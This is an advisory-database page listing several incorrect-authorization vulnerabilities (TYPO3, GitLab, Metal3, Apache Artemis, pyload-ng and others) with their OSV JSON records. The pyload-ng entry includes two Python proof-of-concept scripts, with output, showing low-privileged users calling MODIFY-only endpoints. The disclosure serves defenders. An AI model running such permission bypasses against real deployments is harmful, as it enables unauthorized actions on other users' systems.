Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5556 vulnerabilities reference this CWE, most recent first.

GHSA-RF5M-H8Q9-9W6Q

Vulnerability from github – Published: 2024-10-08 14:37 – Updated: 2024-10-09 16:19
VLAI
Summary
Information Disclosure in TYPO3 Page Tree
Details

Problem

Backend users could see items in the backend page tree without having access if the mounts pointed to pages restricted for their user/group, or if no mounts were configured but the pages allowed access to "everybody." However, affected users could not manipulate these pages.

Solution

Update to TYPO3 versions 10.4.46 ELTS, 11.5.40 LTS, 12.4.21 LTS, 13.3.1 that fix the problem described.

Credits

Thanks to Peter Schuler who reported this issue and to TYPO3 core & security team member Oliver Hader who fixed the issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "13.0.0"
            },
            {
              "fixed": "13.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.4.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.5.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.4.46"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47780"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-08T14:37:08Z",
    "nvd_published_at": "2024-10-08T18:15:30Z",
    "severity": "LOW"
  },
  "details": "### Problem\nBackend users could see items in the backend page tree without having access if the mounts pointed to pages restricted for their user/group, or if no mounts were configured but the pages allowed access to \"everybody.\" However, affected users could not manipulate these pages.\n\n### Solution\nUpdate to TYPO3 versions 10.4.46 ELTS, 11.5.40 LTS, 12.4.21 LTS, 13.3.1 that fix the problem described.\n\n### Credits\nThanks to Peter Schuler who reported this issue and to TYPO3 core \u0026 security team member Oliver Hader who fixed the issue.",
  "id": "GHSA-rf5m-h8q9-9w6q",
  "modified": "2024-10-09T16:19:53Z",
  "published": "2024-10-08T14:37:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3/typo3/security/advisories/GHSA-rf5m-h8q9-9w6q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47780"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3-CMS/backend/commit/8b024b08a2c7071a2f2ff7c758766e4e9273f83c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3-CMS/backend/commit/9ae1ef969b63292a13f80955a95713cabd45cc22"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3-CMS/backend/commit/a7b3c924014ada61632cd5e3fb9825fcc86c5719"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TYPO3-CMS/backend"
    },
    {
      "type": "WEB",
      "url": "https://typo3.org/security/advisory/typo3-core-sa-2024-012"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Information Disclosure in TYPO3 Page Tree"
}

GHSA-RF6H-5GPW-QRGQ

Vulnerability from github – Published: 2026-03-29 15:49 – Updated: 2026-04-10 17:25
VLAI
Summary
OpenClaw: MS Teams Feedback Invocation Bypasses Sender Allowlists and Records Unauthorized Session Feedback
Details

Summary

MS Teams Feedback Invoke Bypasses Sender Allowlists and Records Unauthorized Session Feedback

Affected Packages / Versions

  • Package: openclaw
  • Affected versions: <= 2026.3.24
  • First patched version: 2026.3.25
  • Latest published npm version at verification time: 2026.3.24

Details

Microsoft Teams feedback invokes previously bypassed sender authorization and could record feedback or trigger reflection for unauthorized senders. Commit c5415a474bb085404c20f8b312e436997977b1ea applies the same DM and group authorization checks to feedback invokes.

Verified vulnerable on tag v2026.3.24 and fixed on main by commit c5415a474bb085404c20f8b312e436997977b1ea.

Fix Commit(s)

  • c5415a474bb085404c20f8b312e436997977b1ea
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.24"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35654"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-29T15:49:50Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nMS Teams Feedback Invoke Bypasses Sender Allowlists and Records Unauthorized Session Feedback\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Affected versions: `\u003c= 2026.3.24`\n- First patched version: `2026.3.25`\n- Latest published npm version at verification time: `2026.3.24`\n\n## Details\n\nMicrosoft Teams feedback invokes previously bypassed sender authorization and could record feedback or trigger reflection for unauthorized senders. Commit `c5415a474bb085404c20f8b312e436997977b1ea` applies the same DM and group authorization checks to feedback invokes.\n\nVerified vulnerable on tag `v2026.3.24` and fixed on `main` by commit `c5415a474bb085404c20f8b312e436997977b1ea`.\n\n## Fix Commit(s)\n\n- `c5415a474bb085404c20f8b312e436997977b1ea`",
  "id": "GHSA-rf6h-5gpw-qrgq",
  "modified": "2026-04-10T17:25:07Z",
  "published": "2026-03-29T15:49:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-rf6h-5gpw-qrgq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/c5415a474bb085404c20f8b312e436997977b1ea"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "OpenClaw: MS Teams Feedback Invocation Bypasses Sender Allowlists and Records Unauthorized Session Feedback"
}

GHSA-RF7G-F56C-V6W4

Vulnerability from github – Published: 2026-01-22 15:31 – Updated: 2026-01-22 15:31
VLAI
Details

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.7 before 18.6.4, 18.7 before 18.7.2, and 18.8 before 18.8.2 that could have allowed an unauthenticated user to cause a denial of service condition by exploiting incorrect authorization validation in API endpoints.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-13928"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-22T15:16:47Z",
    "severity": "HIGH"
  },
  "details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.7 before 18.6.4, 18.7 before 18.7.2, and 18.8 before 18.8.2 that could have allowed an unauthenticated user to cause a denial of service condition by exploiting incorrect authorization validation in API endpoints.",
  "id": "GHSA-rf7g-f56c-v6w4",
  "modified": "2026-01-22T15:31:32Z",
  "published": "2026-01-22T15:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13928"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3439441"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/releases/2026/01/21/patch-release-gitlab-18-8-2-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/582736"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RF84-WR5G-M3RP

Vulnerability from github – Published: 2026-05-29 19:01 – Updated: 2026-05-29 19:01
VLAI
Summary
CAPM3 vulnerable to Cross-Namespace resource access
Details

Summary

CAPM3 is Metal3's Cluster API (CAPI) provider for baremetal provisioning in Kubernetes. Multiple cross-namespace access control vulnerabilities in Cluster API Provider Metal3 allow users with permissions to create or modify CAPM3 resources in one namespace to reference, read, or claim resources belonging to other namespaces.

Patched In

  • v1.13.0 (main branch — all fixes included)
  • v1.12.5 (all four fixes backported)
  • v1.11.8 (three of four fixes backported; Metal3DataClaim template restriction not applicable due to missing v1beta2 webhook infrastructure)

Description

Four related vulnerabilities were identified and fixed:

1. Cross-namespace Secret references in Metal3Machine

Metal3Machine resources accepted userData, metaData, and networkData secret references pointing to arbitrary namespaces. A user could configure a Metal3Machine to reference secrets in namespaces they do not have access to, and the controller would fetch and use those secrets.

2. Cross-namespace BareMetalHost lookups

The host annotation on Metal3Machine could include a namespace/name format, causing the controller to look up BareMetalHost resources in arbitrary namespaces. This allowed a user to claim or associate with BareMetalHosts belonging to other tenants.

3. Incorrect logical operator in ConsumerRef validation

The Metal3LabelSync controller used AND logic (&&) when validating BareMetalHost ConsumerRef Kind and Group, meaning it only rejected a ConsumerRef when both Kind and Group were wrong. If only one was incorrect (e.g., wrong Kind but correct Group), the validation passed, potentially allowing unauthorized resources to associate with a BareMetalHost.

4. Cross-namespace Metal3DataTemplate references

Metal3DataClaim resources could reference Metal3DataTemplate resources in other namespaces. The controller would reconcile using the referenced template regardless of namespace, allowing data leakage across namespace boundaries.

Impact

These vulnerabilities allow cross-namespace resource access within the CAPM3 management cluster. A user with permissions to create or modify Metal3Machine or Metal3DataClaim resources in one namespace could reference secrets, BareMetalHosts, or data templates in other namespaces.

Practical impact is limited because:

  • CAPM3 management clusters are typically single-tenant, operated by a single infrastructure/platform team. Namespace boundaries serve as organizational separation (e.g., per workload cluster), not as security isolation between mutually untrusted parties.
  • Exploiting these issues requires RBAC permissions to create or modify CAPM3 infrastructure resources (Metal3Machine, Metal3DataClaim), which are infrastructure-admin privileges not granted to application developers or end users.
  • The accessible resources are limited to Metal3 operational artifacts (bootstrap secrets, network metadata, BareMetalHost associations), not arbitrary cluster secrets.

Environments with elevated risk:

  • Management clusters where namespace-scoped RBAC is used to delegate infrastructure provisioning to separate teams with different trust levels.
  • Managed service providers using a shared management cluster across multiple customer namespaces.

In the common single-team deployment model, these issues represent a defense-in-depth gap rather than a directly exploitable privilege escalation.

Prerequisites for exploitation

  • Attacker must have RBAC permissions to create or modify Metal3Machine or Metal3DataClaim resources in at least one namespace.
  • Target resources (secrets, BareMetalHosts, templates) must exist in other namespaces on the same management cluster.

Workarounds

If upgrading is not immediately possible:

  1. Restrict RBAC: Limit who can create/modify Metal3Machine and Metal3DataClaim resources to trusted operators only.
  2. Admission policies: Deploy OPA/Gatekeeper or Kyverno policies that reject CAPM3 resources with cross-namespace references.
  3. Network policies: While not a direct mitigation, network policies can limit the blast radius of compromised credentials.

Resources

  • https://github.com/metal3-io/cluster-api-provider-metal3/pull/3288, https://github.com/metal3-io/cluster-api-provider-metal3/pull/3294
  • https://github.com/metal3-io/cluster-api-provider-metal3/pull/3317, https://github.com/metal3-io/cluster-api-provider-metal3/pull/3319, https://github.com/metal3-io/cluster-api-provider-metal3/pull/3323
  • https://github.com/metal3-io/cluster-api-provider-metal3/pull/3322, https://github.com/metal3-io/cluster-api-provider-metal3/pull/3325
  • https://github.com/metal3-io/cluster-api-provider-metal3/pull/3327, https://github.com/metal3-io/cluster-api-provider-metal3/pull/3343, https://github.com/metal3-io/cluster-api-provider-metal3/pull/3344
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.11.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/metal3-io/cluster-api-provider-metal3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.11.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.12.4"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/metal3-io/cluster-api-provider-metal3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.12.0"
            },
            {
              "fixed": "1.12.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T19:01:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nCAPM3 is Metal3\u0027s Cluster API (CAPI) provider for baremetal provisioning in Kubernetes. Multiple cross-namespace access control vulnerabilities in Cluster API Provider Metal3 allow users with permissions to create or modify CAPM3 resources in one namespace to reference, read, or claim resources belonging to other namespaces.\n\n## Patched In\n\n- **v1.13.0** (main branch \u2014 all fixes included)\n- **v1.12.5** (all four fixes backported)\n- **v1.11.8** (three of four fixes backported; Metal3DataClaim template restriction not applicable due to missing v1beta2 webhook infrastructure)\n\n## Description\n\nFour related vulnerabilities were identified and fixed:\n\n### 1. Cross-namespace Secret references in Metal3Machine\n\nMetal3Machine resources accepted userData, metaData, and networkData secret references pointing to arbitrary namespaces. A user could configure a Metal3Machine to  reference secrets in namespaces they do not have access to, and the controller would fetch and use those secrets.\n\n### 2. Cross-namespace BareMetalHost lookups\n\nThe host annotation on Metal3Machine could include a namespace/name format, causing the controller to look up BareMetalHost resources in arbitrary namespaces. This  allowed a user to claim or associate with BareMetalHosts belonging to other tenants.\n\n### 3. Incorrect logical operator in ConsumerRef validation\n\nThe Metal3LabelSync controller used AND logic (\u0026\u0026) when validating BareMetalHost ConsumerRef Kind and Group, meaning it only rejected a ConsumerRef when both Kind and Group were wrong. If only one was incorrect (e.g., wrong Kind but correct Group), the validation passed, potentially allowing unauthorized resources to associate with a BareMetalHost.\n\n### 4. Cross-namespace Metal3DataTemplate references\n\nMetal3DataClaim resources could reference Metal3DataTemplate resources in other namespaces. The controller would reconcile using the referenced template regardless of namespace, allowing data leakage across namespace boundaries.\n\n## Impact\n\nThese vulnerabilities allow cross-namespace resource access within the CAPM3 management cluster. A user with permissions to create or modify Metal3Machine or Metal3DataClaim resources in one namespace could reference secrets, BareMetalHosts, or data templates in other namespaces.\n\nPractical impact is limited because:\n\n- CAPM3 management clusters are typically single-tenant, operated by a single infrastructure/platform team. Namespace boundaries serve as organizational separation (e.g., per workload cluster), not as security isolation between mutually untrusted parties.\n- Exploiting these issues requires RBAC permissions to create or modify CAPM3 infrastructure resources (Metal3Machine, Metal3DataClaim), which are infrastructure-admin privileges not granted to application developers or end users.\n- The accessible resources are limited to Metal3 operational artifacts (bootstrap secrets, network metadata, BareMetalHost associations), not arbitrary cluster secrets.\n\nEnvironments with elevated risk:\n\n- Management clusters where namespace-scoped RBAC is used to delegate infrastructure provisioning to separate teams with different trust levels.\n- Managed service providers using a shared management cluster across multiple customer namespaces.\n\nIn the common single-team deployment model, these issues represent a defense-in-depth gap rather than a directly exploitable privilege escalation.\n\n### Prerequisites for exploitation\n\n- Attacker must have RBAC permissions to create or modify Metal3Machine or Metal3DataClaim resources in at least one namespace.\n- Target resources (secrets, BareMetalHosts, templates) must exist in other namespaces on the same management cluster.\n\n## Workarounds\n\nIf upgrading is not immediately possible:\n\n1. Restrict RBAC: Limit who can create/modify Metal3Machine and Metal3DataClaim resources to trusted operators only.\n2. Admission policies: Deploy OPA/Gatekeeper or Kyverno policies that reject CAPM3 resources with cross-namespace references.\n3. Network policies: While not a direct mitigation, network policies can limit the blast radius of compromised credentials.\n\n## Resources\n\n- https://github.com/metal3-io/cluster-api-provider-metal3/pull/3288, https://github.com/metal3-io/cluster-api-provider-metal3/pull/3294\n- https://github.com/metal3-io/cluster-api-provider-metal3/pull/3317, https://github.com/metal3-io/cluster-api-provider-metal3/pull/3319, https://github.com/metal3-io/cluster-api-provider-metal3/pull/3323\n- https://github.com/metal3-io/cluster-api-provider-metal3/pull/3322, https://github.com/metal3-io/cluster-api-provider-metal3/pull/3325\n- https://github.com/metal3-io/cluster-api-provider-metal3/pull/3327, https://github.com/metal3-io/cluster-api-provider-metal3/pull/3343, https://github.com/metal3-io/cluster-api-provider-metal3/pull/3344",
  "id": "GHSA-rf84-wr5g-m3rp",
  "modified": "2026-05-29T19:01:06Z",
  "published": "2026-05-29T19:01:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/metal3-io/cluster-api-provider-metal3/security/advisories/GHSA-rf84-wr5g-m3rp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/metal3-io/cluster-api-provider-metal3/pull/3288"
    },
    {
      "type": "WEB",
      "url": "https://github.com/metal3-io/cluster-api-provider-metal3/pull/3294"
    },
    {
      "type": "WEB",
      "url": "https://github.com/metal3-io/cluster-api-provider-metal3/pull/3317"
    },
    {
      "type": "WEB",
      "url": "https://github.com/metal3-io/cluster-api-provider-metal3/pull/3319"
    },
    {
      "type": "WEB",
      "url": "https://github.com/metal3-io/cluster-api-provider-metal3/pull/3322"
    },
    {
      "type": "WEB",
      "url": "https://github.com/metal3-io/cluster-api-provider-metal3/pull/3323"
    },
    {
      "type": "WEB",
      "url": "https://github.com/metal3-io/cluster-api-provider-metal3/pull/3325"
    },
    {
      "type": "WEB",
      "url": "https://github.com/metal3-io/cluster-api-provider-metal3/pull/3327"
    },
    {
      "type": "WEB",
      "url": "https://github.com/metal3-io/cluster-api-provider-metal3/pull/3343"
    },
    {
      "type": "WEB",
      "url": "https://github.com/metal3-io/cluster-api-provider-metal3/pull/3344"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/metal3-io/cluster-api-provider-metal3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CAPM3 vulnerable to Cross-Namespace resource access"
}

GHSA-RF99-F9J2-GV3F

Vulnerability from github – Published: 2026-05-28 15:39 – Updated: 2026-07-02 13:53
VLAI
Summary
Apache Artemis has an Incorrect Authorization issue
Details

A vulnerability exists in Apache Artemis whereby an application using the STOMP protocol with security credentials that grant either the consume or send permission on an address can augment the routing-type supported by that address even if said user doesn't have the createAddress permission for that particular address. A user could successfully send a message to an address or consume a message from a queue with a routing-type not supported by the corresponding address when that operation should actually be rejected on the basis that the user doesn't have permission to change the routing-type of the address. Even though the user was already granted permission to send and/or consume messages, they should not be able to augment the routing-type of the address without the createAddress permission.

This issue affects Apache Artemis: from 2.50.0 through 2.53.0; Apache ActiveMQ Artemis: from 2.0.0 through 2.44.0.

Users are recommended to upgrade to version 2.54.0, which fixes the issue.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.53.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.artemis:artemis-stomp-protocol"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.50.0"
            },
            {
              "fixed": "2.54.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.artemis:artemis-stomp-protocol"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "last_affected": "2.44.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40914"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T13:53:04Z",
    "nvd_published_at": "2026-05-28T13:16:23Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability exists in Apache Artemis whereby an application using the STOMP protocol with security credentials that grant either the consume or send permission on an address can augment the routing-type supported by that address even if said user doesn\u0027t have the createAddress permission for that particular address. A user could successfully send a message to an address or consume a message from a queue with a routing-type not supported by the corresponding address when that operation should actually be rejected on the basis that the user doesn\u0027t have permission to change the routing-type of the address. Even though the user was already granted permission to send and/or consume messages, they should not be able to augment the routing-type of the address without the createAddress permission.\n\nThis issue affects Apache Artemis: from 2.50.0 through 2.53.0; Apache ActiveMQ Artemis: from 2.0.0 through 2.44.0.\n\nUsers are recommended to upgrade to version 2.54.0, which fixes the issue.",
  "id": "GHSA-rf99-f9j2-gv3f",
  "modified": "2026-07-02T13:53:04Z",
  "published": "2026-05-28T15:39:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40914"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/artemis/pull/6395"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/artemis/commit/53173375c4d5e4b57890e89d37ed8b666c974474"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/artemis"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/ARTEMIS-5996"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/6q3st8dlorz2q05svqn11k1xl7jkmm4c"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/27/8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Artemis has an Incorrect Authorization issue"
}

GHSA-RFGC-W4C4-WFQ8

Vulnerability from github – Published: 2024-10-11 21:31 – Updated: 2024-10-15 21:30
VLAI
Details

An issue in Revic Optics Revic Ops (us.revic.revicops) 1.12.5 allows a remote attacker to obtain sensitive information via the firmware update process.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-48787"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-11T20:15:06Z",
    "severity": "CRITICAL"
  },
  "details": "An issue in Revic Optics Revic Ops (us.revic.revicops) 1.12.5 allows a remote attacker to obtain sensitive information via the firmware update process.",
  "id": "GHSA-rfgc-w4c4-wfq8",
  "modified": "2024-10-15T21:30:37Z",
  "published": "2024-10-11T21:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48787"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HankJames/Vul-Reports/blob/main/FirmwareLeakage/us.revic.revicops/us.revic.revicops.md"
    },
    {
      "type": "WEB",
      "url": "http://revic.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RFGH-63MG-8PWM

Vulnerability from github – Published: 2026-04-08 00:18 – Updated: 2026-04-13 17:39
VLAI
Summary
pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions
Details

Summary

Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.

Confirmed mismatches: - ADD user can reorder packages/files (order_package, order_file) via /json/package_order and /json/link_order - DELETE user can abort downloads (stop_downloads) via /json/abort_link

Details

pyLoad defines granular permissions in core API: - order_package requires Perms.MODIFY (src/pyload/core/api/__init__.py:1125) - order_file requires Perms.MODIFY (src/pyload/core/api/__init__.py:1137) - stop_downloads requires Perms.MODIFY (src/pyload/core/api/__init__.py:1046)

But WebUI JSON routes use weaker checks: - /json/package_order uses @login_required("ADD") then calls api.order_package(...) (src/pyload/webui/app/blueprints/json_blueprint.py:109-117) - /json/link_order uses @login_required("ADD") then calls api.order_file(...) (src/pyload/webui/app/blueprints/json_blueprint.py:137-145) - /json/abort_link uses @login_required("DELETE") then calls api.stop_downloads(...) (src/pyload/webui/app/blueprints/json_blueprint.py:123-131)

Why this is likely unintended (not just convenience): - The same JSON blueprint correctly protects other edit actions with MODIFY: - /json/move_package -> @login_required("MODIFY") (json_blueprint.py:188-196) - /json/edit_package -> @login_required("MODIFY") (json_blueprint.py:202-217) - The project UI exposes granular per-user permission assignment (settings.html:184-190), implying these boundaries are intended security controls.

PoC

Environment: - Repository version: 0.5.0b3 (VERSION file) - Commit tested: ddc53b3d7

PoC A (ADD-only user invokes MODIFY-only reorder):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'attacker'

    def order_package(self, pack_id, pos):
        self.calls.append(('order_package', int(pack_id), int(pos)))

    def order_file(self, file_id, pos):
        self.calls.append(('order_file', int(file_id), int(pos)))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'attacker'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.ADD)

    r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
    r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})

print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]

PoC B (DELETE-only user invokes MODIFY-only stop_downloads):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'u'

    def stop_downloads(self, ids):
        self.calls.append(('stop_downloads', ids))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'u'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.DELETE)

    r = c.post('/json/abort_link', json={'link_id': 999})

print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]

Impact

Type: - Improper authorization / permission-bypass between WebUI and core API permission model.

Scope: - Horizontal privilege escalation among authenticated non-admin users. - Not admin takeover, but unauthorized execution of operations explicitly categorized as MODIFY.

Security impact: - Integrity impact: unauthorized queue/file reordering by users lacking MODIFY. - Availability impact: unauthorized abort of active downloads by users lacking MODIFY.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40071"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T00:18:20Z",
    "nvd_published_at": "2026-04-09T18:17:03Z",
    "severity": "MODERATE"
  },
